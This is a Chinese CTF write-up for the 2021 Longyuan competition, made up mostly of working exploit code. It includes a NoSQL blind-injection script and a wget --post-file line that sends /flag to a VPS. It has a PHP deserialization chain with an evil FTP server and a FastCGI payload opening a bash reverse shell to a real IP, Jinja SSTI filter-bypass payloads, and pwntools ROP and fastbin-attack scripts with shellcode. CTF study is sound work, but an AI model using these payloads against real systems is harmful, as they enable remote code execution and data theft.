• 陇原战"疫"2021网络安全大赛writeup


    Web

    1.Checkin

    解题思路
    这道题 前面根据 源码应该是 nosql注入,我分析的payload:
    username='||1) {return true;}})//&password=123456
    盲注得
    admin/54a83850073b0f4c6862d5a1d48ea84f
    import time
    import requests
    import string

    session = requests.session()
    chars = string.printable
    password = ''

    burp0_url = "http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/login"
    burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81", "Upgrade-Insecure-Requests": "1", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://d8304b2c-689b-4b9f-844a-1c3358bb57de.node4.buuoj.cn:81/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

    burp0_data = {"username": "'|| this.password[0] != 'A') {return true;}})//", "password": "test"}
    for x in range(0,100):
        for y in chars:
            burp0_data['username'] = "'|| this.password[" + str(x) + "] == '" + y + "') {return true;}})//"
            response = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
            # print(response.text)
            if 'successfully' in response.text:
                password += y
                print(password)
                break
            time.sleep(0.06)
    # username:admin
    # pwd:54a83850073b0f4c6862d5a1d48ea84f
    /wget?argv=a&argv=--post-file&argv=/flag&argv=http://vps:5555/
    flag{67317c21-32f6-42c2-b04b-8b328a5f33ae}

    2.eaaasyphp

    本地写shell

    <?php

    class Check {
        public static $str1 = false;
        public static $str2 = false;
    }


    class Esle {
        public function __wakeup()
    {
            Check::$str1 = true;
        }
    }


    class Hint {

        public function __wakeup(){
            $this->hint = "no hint";
        }

        public function __destruct(){
            if(!$this->hint){
                $this->hint = "phpinfo";
                ($this->hint)();
            }  
        }
    }


    class Bunny {
    public $filename;
        public function __toString()
    {
    echo "tostring";
            if (Check::$str2) {
                if(!$this->data){
                    $this->data = $_REQUEST['data'];
                }
                file_put_contents($this->filename, $this->data);
            } else {
                throw new Error("Error");
            }
        }
    }

    class Welcome {
    public $bbb;
        public function __invoke()
    {
            Check::$str2 = true;
            return "Welcome" . $this->username;
        }
    }

    class Bypass {
    public $aaa;
    public $str4;
        public function __destruct()
    {
            if (Check::$str1) {
                ($this->str4)();
            } else {
                throw new Error("Error");
            }
        }
    }
    $check = new Check();
    $esle = new Esle();

    $a = new Bypass();
    $b = new Welcome();
    $c = new Bunny();

    $c->filename = "shell.txt";
    $c->data = "111111";

    $b->username = $c;
    $b->bbb = $check;
    $a->aaa = $esle;
    $a->str4 = $b;

    echo serialize($a);


    但是远程不通

    O%3A6%3A"Bypass"%3A2%3A%7Bs%3A3%3A"aaa"%3BO%3A4%3A"Esle"%3A0%3A%7B%7Ds%3A4%3A"str4"%3Bs%3A7%3A"phpinfo"%3B%7D

    之后发现题目环境不能写shell,所以考虑使用file_put_contents攻击php-fpm

    然后在 VPS 上运行以下脚本,搭建一个恶意的 FTP 服务器:

    # evil_ftp.py

    import socket

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    s.bind(('0.0.0.0', 23))

    s.listen(1)

    conn, addr = s.accept()

    conn.send(b'220 welcome\n')

    #Service ready for new user.

    #Client send anonymous username

    #USER anonymous

    conn.send(b'331 Please specify the password.\n')

    #User name okay, need password.

    #Client send anonymous password.

    #PASS anonymous

    conn.send(b'230 Login successful.\n')

    #User logged in, proceed. Logged out if appropriate.

    #TYPE I

    conn.send(b'200 Switching to Binary mode.\n')

    #Size /

    conn.send(b'550 Could not get the file size.\n')

    #EPSV (1)

    conn.send(b'150 ok\n')

    #PASV

    conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)

    conn.send(b'150 Permission denied.\n')

    #QUIT

    conn.send(b'221 Goodbye.\n')

    conn.close()

    使用gopherus生成反弹shell的payload

    %01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/116.62.104.172/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

    poc:


    <?php


    class Check {

        public static $str1 = false;

        public static $str2 = false;

    }



    class Esle {

        public function __wakeup()

        {

            Check::$str1 = true;

        }

    }



    class Hint {


        public function __wakeup(){

            $this->hint = "no hint";

        }


        public function __destruct(){

            if(!$this->hint){

                $this->hint = "phpinfo";

                ($this->hint)();

            }  

        }

    }



    class Bunny {

    public $filename;

        public function __toString()

        {

    echo "tostring";

            if (Check::$str2) {

                if(!$this->data){

                    $this->data = $_REQUEST['data'];

                }

                file_put_contents($this->filename, $this->data);

            } else {

                throw new Error("Error");

            }

        }

    }


    class Welcome {

    public $bbb;

        public function __invoke()

        {

            Check::$str2 = true;

            return "Welcome" . $this->username;

        }

    }


    class Bypass {

    public $aaa;

    public $str4;

        public function __destruct()

        {

            if (Check::$str1) {

                ($this->str4)();

            } else {

                throw new Error("Error");

            }

        }

    }

    $check = new Check();

    $esle = new Esle();


    $a = new Bypass();

    $b = new Welcome();

    $c = new Bunny();


    $c->filename = "ftp://aaa@vps/123";

    $c->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vps/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");


    $b->username = $c;

    $b->bbb = $check;

    $a->aaa = $esle;

    $a->str4 = $b;

    echo urlencode(serialize($a));

    运行python脚本

    监听2333端口,发送payload,得到shell

    ?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A2%3A%7Bs%3A3%3A%22bbb%22%3BO%3A5%3A%22Check%22%3A0%3A%7B%7Ds%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A31%3A%22ftp%3A%2F%2Faaa%40116.62.104.172%3A23%2F123%22%3Bs%3A4%3A%22data%22%3Bs%3A416%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F116.62.104.172%2F2333+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3B%7D%7D%7D


    3.MagicMail

    注入点

    这个题目很有意思,赛后根据官方wp进行复现
    首先是,我们需要输入一个有smtp服务的ip和相应的端口,这个可以在自己的vps起一个smtp服务
    python3 -m smtpd -c DebuggingServer -n 0.0.0.0:6667
    输入自己的服务器ip和6667(ip和port根据自己的情况修改)

    然后就是一个可以发送邮件的功能
    在email的内容那里,存在模板注入
    测试输入{{7*7}}
    将收到的字符串进行base64解码,发现是存在SSTI的

    测试模板注入

    接下来就是比较常规的模板注入环节了
    在测试中,某些情况会回显hack,这是因为过滤了关键的字符串
    'class', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'u', '.', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', ' ', '_'
    有的情况下,会回显error,关于这个回显我的理解是,类的方法调用出现了问题,即类不支持该方法调用,所以返回error(如果有更好的理解欢迎在评论区指出)
    查看所有的类
    {{"".__class__.__base__.__subclasses__()}}
    经过Hex编码后
    {{""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()}}

    这个回显的类太多了,看不过来。。。2333,下面是部分的类的截图
    序号为134的类名称为sitebuiltins._Printer,是可用的,存在命令执行
    但是使用的时候,需要进行hex编码绕过过滤,关于SSTI绕过的相关操作,参考链接:利用|attr()进行Bypass
    贴一下wp
    {{()|attr("__class__")|attr("__base__")|attr("__subclasses__")|attr("__getitem__")(134)|attr("__init__")|attr("__globals__")|attr("__getitem__")|attr("__builtins__")|attr("__getitem__")("eval")("__import__("os").popen("cat /flag").read()")}}
    然后进行hex编码绕过过滤
    {{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(134)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("\x65\x76\x61\x6c")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x22\x29\x2e\x72\x65\x61\x64\x28\x29")}}
    贴一下大佬的payload(大佬的payload中使用的是attr("__mro__")|attr("__getitem__")(1)代替了attr("__base__")),并且是采用了部分编码的方式绕过过滤
    {{()|attr("\x5f\x5fc\x6cass\x5f\x5f")|attr("\x5f\x5fmr\x6f\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")(1)|attr("\x5f\x5f\x73\x75\x62cl\x61ss\x65s\x5f\x5f")()|attr("\x5f\x5fge\x74item\x5f\x5f")(134)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglob\x61ls\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")("\x5f\x5fb\x75\x69ltins\x5f\x5f")|attr("\x5f\x5fge\x74item\x5f\x5f")("ev\x61l")("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x22\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x22\x29\x2e\x72\x65\x61\x64\x28\x29")}}
    将返回的信息,进行base64解码,得到flag

    Crypto

    1.Civet cat for Prince

    解题思路
    from pwn import *
    from parse import *
    from pwnlib.util.iters import bruteforce
    import string
    from hashlib import sha256
    import hashlib

    def brute_force(prefix,s):
        return bruteforce(lambda x:sha256((x+prefix).encode("ascii")).hexdigest()==s,string.ascii_letters+string.digits,length=4,method='fixed')


    r=remote('node4.buuoj.cn',27219)
    pow_line = r.recvline().decode("ascii")
    pow_prefix, pow_hash = parse("[+] sha256(XXXX+{}) == {}\n",pow_line)

    r.recvuntil('Give Me XXXX :')
    r.sendline(brute_force(pow_prefix,pow_hash))

    r.recvuntil('2.Go away\n')
    r.sendline('1')
    r.recvuntil('\n')
    r.sendline('Princepermission')
    r.recvuntil('She will play with you\n')

    self_iv = r.recvline()[6:-1]

    r.recvuntil('3.say Goodbye\n')

    r.sendline('1')
    r.recvuntil("Here you are~\n")
    permission = r.recvline()[11:-1]
    prince_permission=permission[:16]

    r.sendline('2')
    r.recvuntil('Give me your permission:\n')
    r.sendline(self_iv)
    r.recvuntil('Miao~ \n')
    r.sendline(b'\x00'*16)
    r.recvuntil('The message is ')
    plain_prev=r.recvline()[:-1]
    iv_prev=bytes([a^b  for (a,b) in zip(plain_prev, b'Princepermission') ])

    r.sendline('2')
    r.recvuntil('Give me your permission:\n')
    r.sendline(self_iv+prince_permission)
    r.recvuntil('Miao~ \n')
    r.sendline(iv_prev)
    r.recvuntil('The message is ')
    plain=r.recvline()[:-1]

    print(plain)

    r.recvuntil('Give me your permission:\n')
    r.sendline(self_iv+prince_permission)
    r.recvuntil("What's the cat tell you?\n")
    r.sendline(iv_prev)

    r.interactive()
    或者
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    import hashlib
    from pwn import *
    from itertools import product
    import string

    context.log_level = 'debug'
    table = string.ascii_letters + string.digits


    class Solve:
    def __init__(self):
    # self.sh = remote('192.168.56.1', 10005)
    self.sh = remote('node4.buuoj.cn', 29129)
    self._Princepermission = b'Princepermission'
    self._a_cat_permission = b'a_cat_permission'
    self.iv = b''
    self.cipher_name = b''
    self.payload_cipher = b''
    self.payload_iv = b''

    def proof_of_work(self):
    """
    [+] sha256(XXXX+Q3kqSv2c) == e9ded46c9d0dbcf14d8c36852678fe59daec43b1025c282738a81e7ea9f395f9
    [+] Give Me XXXX :
    """
    proof = self.sh.recvline()
    tail = proof[16:24].decode()
    HASH = proof[29:93].decode()
    for i in product(table, repeat=4):
    head = ''.join(i)
    t = hashlib.sha256((head + tail).encode()).hexdigest()
    if t == HASH:
    self.sh.recvuntil(b'[+] Give Me XXXX :')
    self.sh.sendline(head.encode())
    break

    def solve_BANNER(self, _name):
    self.sh.sendlineafter(b'[-]', b'1')
    self.sh.sendlineafter(b'[-]', _name)
    self.sh.recvline()
    self.sh.recvline()
    self.sh.recvuntil(b'Miao~ ')
    self.iv = self.sh.recvuntil(b"I'm a")[:-6]
    print(len(self.iv))

    def solve_NAME(self):
    self.sh.sendlineafter(b'[-]', b'1')
    self.sh.recvuntil(b'Permission:')
    self.cipher_name = self.sh.recvuntil(b"I'm a")[:-6]
    self.cipher_name = self.cipher_name
    self.payload_cipher = xor(xor(self.cipher_name[:16], self._a_cat_permission),
    self._Princepermission) + self.cipher_name[16:32]

    def solve_Princepermission(self):
    self.sh.sendlineafter(b'[-]', b'2')
    self.sh.sendlineafter(b'[-]', self.payload_cipher[:16])
    self.sh.sendlineafter(b'[-]', self.iv)
    self.sh.recvuntil(b'The message is ')
    self.payload_iv = xor(xor(self.sh.recvuntil(b'1.getpermission')[:16], self.iv), self._Princepermission)

    def solve_flag(self):
    self.sh.sendlineafter(b'[-]', self.payload_cipher)
    self.sh.sendlineafter(b'[-]', self.payload_iv)
    self.sh.recvuntil(b'The prince asked me to tell you this:\n')
    flag = self.sh.recvline()
    print(flag)

    def solve(self):
    self.proof_of_work()
    self.solve_BANNER(self._Princepermission)

    # get cipher_name
    # chance ====> 2
    self.solve_NAME()

    # get cipher_Princepermission
    # chance ====> 1
    self.solve_Princepermission()

    # chance ====> 0
    self.sh.sendlineafter(b'[-]', b'3')

    # get flag
    self.solve_flag()


    if __name__ == '__main__':
    solution = Solve()
    solution.solve()

    2.easytask

    解题思路
    from sage.modules.free_module_integer import IntegerLattice

    e = [151991736758354,115130361237591,58905390613532,130965235357066,74614897867998,48099459442369,45894485782943,7933340009592,25794185638]

    W = [[-10150241248,-11679953514,-8802490385,-12260198788,-10290571893,-334269043,-11669932300,-2158827458,-7021995],\
    [52255960212,48054224859,28230779201,43264260760,20836572799,8191198018,14000400181,4370731005,14251110],\
    [2274129180,-1678741826,-1009050115,1858488045,978763435,4717368685,-561197285,-1999440633,-6540190],\
    [45454841384,34351838833,19058600591,39744104894,21481706222,14785555279,13193105539,2306952916,7501297],\
    [-16804706629,-13041485360,-8292982763,-16801260566,-9211427035,-4808377155,-6530124040,-2572433293,-8393737],\
    [28223439540,19293284310,5217202426,27179839904,23182044384,10788207024,18495479452,4007452688,13046387],\
    [968256091,-1507028552,1677187853,8685590653,9696793863,2942265602,10534454095,2668834317,8694828],\
    [33556338459,26577210571,16558795385,28327066095,10684900266,9113388576,2446282316,-173705548,-577070],\
    [35404775180,32321129676,15071970630,24947264815,14402999486,5857384379,10620159241,2408185012,7841686]]

    c = "1070260d8986d5e3c4b7e672a6f1ef2c185c7fff682f99cc4a8e49cfce168aa0"

    def CVP(lattice, target):
        print("executing Gram_Schmidt")
        gram = lattice.gram_schmidt()[0]
        print("Finish")
        t = target
        for i in reversed(range(lattice.nrows())):
            c = ((t * gram[i]) / (gram[i] * gram[i])).round()
            t -= lattice[i] * c
        return target - t

    A = matrix(ZZ, W)
    B = matrix(ZZ, W)

    print("Executing LLL")
    lattice = IntegerLattice(B, lll_reduce=True)
    print("Finish")

    target = vector(ZZ, e)
    P=CVP(lattice.reduced_basis,target)

    solution=A.solve_left(P)

    import hashlib
    from Crypto.Cipher import AES

    c = "1070260d8986d5e3c4b7e672a6f1ef2c185c7fff682f99cc4a8e49cfce168aa0"
    M=[877, 619, 919, 977, 541, 941, 947, 1031, 821]
    key = hashlib.sha256(str(M).encode()).digest()
    cipher = AES.new(key, AES.MODE_ECB)


    3.mostlycommon 

    下载附件,一个是输出,一个是加密脚本。

    查看加密脚本

    from Crypto.Util.number import bytes_to_long, getPrime 
    f = open('flag.txt', 'rb')
    flag = f.read()
    f.close()
    m = bytes_to_long(flag)
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    e1 = 65536
    e2 = 270270
    c1 = pow(m, e1, n)
    c2 = pow(m, e2, n)
    f = open('message.txt', 'w')
    f.write('n=' + str(n) + '\n')
    f.write('c1=' + str(c1) + '\n')
    f.write('c2=' + str(c2) + '\n')
    f.close()

    发现是共模攻击,网上相关脚本比较多:

    from Crypto.PublicKey import RSA

    import libnum

    import gmpy2

    n=122031686138696619599914690767764286094562842112088225311503826014006886039069083192974599712685027825111684852235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067117410952499655482160104027730462740497347212752269589526267504100262707367020244613503

    c1=39449016403735405892343507200740098477581039605979603484774347714381635211925585924812727991400278031892391996192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067450727600486330723461100602952736232306602481565348834811292749547240619400084712149673

    c2=43941404835820273964142098782061043522125350280729366116311943171108689108114444447295511969090107129530187119024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996322468276744714063735786505249416708394394169324315945145477883438003569372460172268277


    e1 = 65536

    e2 = 270270


    s = gmpy2.gcdext(e1,e2)

    print(gmpy2.gcd(e1,e2))

    print(s)

    s1 = s[1]

    s2 = s[2]


    if s1<0:

        s1 = -s1

        c1 = gmpy2.invert(c1, n)

    elif s2<0:

        s2 = -s2

        c2 = gmpy2.invert(c2, n)


    m = pow(c1,s1,n)*pow(c2,s2,n) % n

    flag = libnum.n2s(m)

    print(flag)

    无法解出

    观察加密脚本,e1、e2不互素,即

    e1*s1+e2*s2 = 2

    所以:

    c1^s1*c2^s2 = m^2

    所以上面的脚本对m进行开方即可得到flag

    最终脚本为:

    from Crypto.PublicKey import RSA

    import libnum

    import gmpy2


    n=122031686138696619599914690767764286094562842112088225311503826014006886039069083192974599712685027825111684852235230039182216245029714786480541087105081895339251403738703369399551593882931896392500832061070414483233029067117410952499655482160104027730462740497347212752269589526267504100262707367020244613503

    c1=39449016403735405892343507200740098477581039605979603484774347714381635211925585924812727991400278031892391996192354880233130336052873275920425836986816735715003772614138146640312241166362203750473990403841789871473337067450727600486330723461100602952736232306602481565348834811292749547240619400084712149673

    c2=43941404835820273964142098782061043522125350280729366116311943171108689108114444447295511969090107129530187119024651382804933594308335681000311125969011096172605146903018110328309963467134604392943061014968838406604211996322468276744714063735786505249416708394394169324315945145477883438003569372460172268277


    e1 = 65536

    e2 = 270270


    s = gmpy2.gcdext(e1,e2)


    s1 = s[1]

    s2 = s[2]


    if s1<0:

        s1 = -s1

        c1 = gmpy2.invert(c1, n)

    elif s2<0:

        s2 = -s2

        c2 = gmpy2.invert(c2, n)


    m = pow(c1,s1,n)*pow(c2,s2,n) % n

    m = gmpy2.iroot(m,2)

    m = int(m[0])

    flag = libnum.n2s(m)

    print(flag)



    SETCTF{now_you_master_common_mode_attack}





    Pwn

    1.bbbaby

    首先分析题目,有两个功能,

    一个是可以对输入的地址指向进行edit,

    另外一个是可以对v5进行任意size的输入。

    于是很容易知道是需要通过v5溢出进行栈溢出攻击,但checksec后发现开了canary,又因为got表可改并且无PIE,所以可以把**_stack_chk_fail**的got表改为main,于是溢出V5打印puts地址后再次回到了main函数,然后再次改got表,通过改atoi_got为system,并传入/bin/sh参数,getshell

    checksec

    漏洞点

    任意地址写:

    image-20211107234215669

    main函数的栈溢出:

    image-20211107234245292


    #coding:utf-8
    from pwn import *
    context(arch='amd64',log_level='debug')
    #p=process('./pwn1')
    p=remote('node4.buuoj.cn',29985)
    elf=ELF('./pwn1')
    libc=ELF('./libc-2.23.so')

    def write8b(addr,content):
        p.sendlineafter('choice','0')
        p.sendlineafter('address:',str(addr))
        p.sendafter('content:',content)
    def writeStack(content):
        p.sendlineafter('choice','1')
        p.sendlineafter('size:',str(len(content)))
        p.sendafter('content:',content)

    #gdb.attach(p)
    main=0x000000000040090B
    #write8b(elf.got['atoi'],p64(elf.plt['puts']))
    write8b(elf.got['__stack_chk_fail'],p64(elf.plt['puts']))

    pop_rdi_ret=0x0000000000400a03
    pop_rsi_r15_ret=0x0000000000400a01
    payload ='A'*(0x110-8)
    payload+='\x00'*8
    payload+='B'*8
    payload+=p64(pop_rdi_ret)
    payload+=p64(elf.got['read'])
    payload+=p64(elf.plt['puts'])
    payload+=p64(main)
    writeStack(payload)

    p.sendlineafter('choice','2')
    libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['read']
    success('libc_base:'+hex(libc_base))

    system=libc_base+libc.sym['system']
    sh=libc_base+libc.search('/bin/sh\x00').next()
    payload ='A'*(0x110-8)
    payload+='\x00'*8
    payload+='B'*8
    payload+=p64(pop_rdi_ret)
    payload+=p64(sh)
    payload+=p64(system)
    payload+=p64(main)
    writeStack(payload)
    p.sendlineafter('choice','2')

    p.interactive()
    #flag{cdc9b652-05e2-4cc9-b111-857e10d8e710}

    或者
    from pwn import*
    context.log_level = "debug"
    io = remote("node4.buuoj.cn","27853")
    elf = ELF('./pwn1',checksec = 0)
    libc = ELF('./libc-2.23.so',checksec = 0)
    pop_rdi_ret = 0x400a03
    main_addr = 0x40090B
    canary_check = 0x601020
    atoi_got = 0x601040
    offset = 0x110 + 0x8
    def chocie(c):
        io.recvuntil("choice")
        io.sendline(str(c))
    def pwn(size,content):
        chocie(1)
        io.recvuntil(":")
        io.sendline(str(size))
        io.recvuntil(":")
        io.send(content)
    def edit_addr(addr,content):
        chocie(0)
        io.recvuntil(":")
        io.sendline(addr)
        io.recvuntil(":")
        io.send(content)
    payload = p64(pop_rdi_ret) + p64(elf.got["puts"])
    payload += p64(elf.plt['puts']) + p64(main_addr)
    edit_addr(str(canary_check),p64(main_addr))
    pwn(0x150,b"a"*offset + payload)
    chocie(5)
    chocie(5)
    #leak_libc and get shell
    puts = u64(io.recvuntil('x7f')[-6:].ljust(8,b'x00'))
    libc_base =puts - libc.sym['puts']
    system = libc_base + libc.sym['system']
    edit_addr(str(atoi_got),p64(system))
    io.sendline(b'/bin/shx00')
    io.interactive()

    2.Magic

    接上gdb分析就是个模板题

    有 UAF,直接 fastbin attack可以打过去。

    leak_libc 部分 : 填充8个a printf 顺带 main_arena+88c出来

    get_shell 部分 : 直接fastbin_attack 打malloc_hook

    checksec


    给的libc版本为2.23

    漏洞点

    UAF两处:

    image-20211107234646019

    image-20211107234737959


    # _*_ coding:utf-8 _*_
    from pwn import *
    context.log_level = 'debug'
    context.terminal=['tmux', 'splitw', '-h']
    prog = './Magic'
    #elf = ELF(prog)#nc 121.36.194.21 49155
    # p = process(prog,env={"LD_PRELOAD":"./libc/libc-2.23.so"})
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    p = remote("node4.buuoj.cn", 25680)#nc 124.71.130.185 49155
    def debug(addr,PIE=True): 
        debug_str = ""
        if PIE:
            text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
            for i in addr:
                debug_str+='b *{}\n'.format(hex(text_base+i))
            gdb.attach(p,debug_str) 
        else:
            for i in addr:
                debug_str+='b *{}\n'.format(hex(i))
            gdb.attach(p,debug_str) 

    def dbg():
        gdb.attach(p)
    #-----------------------------------------------------------------------------------------
    s       = lambda data               :p.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
    sl      = lambda data               :p.sendline(str(data)) 
    sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :p.recv(numb)
    ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
    it      = lambda                    :p.interactive()
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    bp      = lambda bkp                :pdbg.bp(bkp)
    li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))


    def dbgc(addr):
        gdb.attach(p,"b*" + hex(addr) +"\n c")

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

    sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
    sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
    #https://www.exploit-db.com/shellcodes
    #-----------------------------------------------------------------------------------------

    def choice(idx):
        sla("Input your choice: ",str(idx)+'\n\n')
        # sla("Input your choice: ",str(idx))

    def add(idx):
        choice(1)
        sa("Input the idx",str(idx)+'\x00\x00\x00')
        # sl('\n\n')
        # sla("Size: ",sz)
        # sa("content?",cno)

    def delete(idx):

        choice(3)
        sa("Input the idx",str(idx)+'\x00\x00\x00')
        # sl('\n\n')

    # def show(idx):
    #   choice(3)
    #   sla("Index: ",idx)

    def edit(idx,con):
        choice(2)
        sa("Input the idx",str(idx)+'\x00\x00\x00')
        # sl('\n')
        # sla("size?",sz)
        sa("Input the Magic",con)



    def exp():
        # debug([0x13aa])
        add(0)
        edit(0,'a'*8)
        # delete(0)
        ru('a'*8)
        data = uu64(r(6))
        lg('data',data)
        addr = data - 0x7fe66967cd98 + 0x7fe6692b8000
        mh = addr + libc.sym['__malloc_hook']
        rh = addr + libc.sym['realloc']
        lg('addr',addr)
        one = addr + 0x4527a
    #-----------------------------
        delete(0)
        edit(0,p64(mh-0x23))
        add(0)
        add(1)
        lg('rh',rh)
        edit(1,(0x13-8)*'a'+p64(one)+p64(rh+13))
        # dbg()

        add(0)



        it()
    if __name__ == '__main__':
        exp()

    或者

    from pwn import *

    context.log_level = "debug"

    io = remote("node4.buuoj.cn",27312)

    elf = ELF("./Magic",checksec = 0)

    libc = ELF('libc-2.23.so',checksec = 0)

    one = [0x45226,0x4527a,0xf03a4,0xf1247]

    main_arena = 0x3c4b20

    def fuck(index):

        io.recvuntil("Input your choice: ")

        io.sendline(str(index))

        io.sendline('0')

    def add(index):

        fuck(1)

        io.sendline(str(index))

        io.sendline('0')

    def edit(index,content):

        fuck(2)

        io.recvuntil("Input the idx")

        io.sendline(str(index))

        io.sendline('0')

        io.recvuntil("Input the Magic")

        io.send(content)    

    def delete(index):

        fuck(3)

        io.recvuntil("Input the idx")

        io.sendline(str(index))

        io.sendline('0')

    #leak_libc

    add(0)

    add(1)

    edit(0,b"a"*8)

    libc_base = u64(io.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 0x3c4d98

    realloc = libc_base + libc.sym['realloc']

    malloc_hook = libc_base + libc.sym['__malloc_hook']

    free_hook = libc_base + libc.sym["__free_hook"]

    success("malloc_hook"+hex(malloc_hook))

